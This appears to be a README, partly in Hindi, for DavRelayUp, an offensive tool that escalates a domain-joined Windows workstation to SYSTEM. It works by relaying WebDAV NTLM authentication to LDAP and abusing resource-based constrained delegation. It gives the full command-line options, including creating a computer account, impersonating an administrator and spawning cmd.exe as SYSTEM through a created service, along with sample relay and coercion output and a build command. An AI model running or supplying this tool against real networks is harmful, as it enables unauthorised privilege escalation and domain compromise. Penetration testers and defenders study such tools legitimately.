
स्थानीय विशेषाधिकार वृद्धि को SYSTEM तक स्वचालित करता है, डोमेन-से जुड़े Windows वर्कस्टेशन पर, WebDAV से LDAP तक NTLM प्रमाणीकरण को रिले करके, संसाधन-आधारित प्रतिबंधित प्रतिनिधित्व (RBCD) का लाभ उठाते हुए, बिना LDAP साइनिंग प्रवर्तन की आवश्यकता के।
KrbRelayUp का एक त्वरित और गंदा पोर्ट, जिसमें webdav से LDAP तक NTLM रिले की अनुमति देने के लिए संशोधन किए गए हैं, ताकि निम्नलिखित आक्रमण प्रिमिटिव का दुरुपयोग सरल हो सके:
यह अनिवार्य रूप से डोमेन-जॉइन की गई विंडोज वर्कस्टेशनों पर एक सार्वभौमिक नो-फिक्स स्थानीय विशेषाधिकार वृद्धि है, जहां LDAP हस्ताक्षरण लागू नहीं है (डिफ़ॉल्ट सेटिंग्स)।
DavRelayUp - Relaying you to SYSTEM, again...
Usage: DavRelayUp.exe [-c] [-cn COMPUTERNAME] [-cp PASSWORD | -ch NTHASH]
RBCD Options:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=DAVRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)
-i (--Impersonate) User to impersonate. Should be a local administrator in the target computer. (default=Administrator)
KrbSCM Options:
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
General Options:
-p (--Port) Port for WebDAV Server (default=55555)
-d (--Domain) FQDN of domain. (Optional)
-dc (--DomainController) FQDN of domain controller. (Optional)
-ssl Use LDAP over SSL. (Optional)
-n Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (Optional)
-v (--Verbose) Show verbose output. (Optional)
-h (--Help) Show help
यदि DavRelayUp इन चरणों में से किसी एक पर अटक जाता है - तो [-p] फ्लैग निर्दिष्ट करके एक अलग पोर्ट का उपयोग करने का प्रयास करें।
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header
https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

PS C:\Tools\DavRelayUp> cd GoRelayServer
PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w" -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go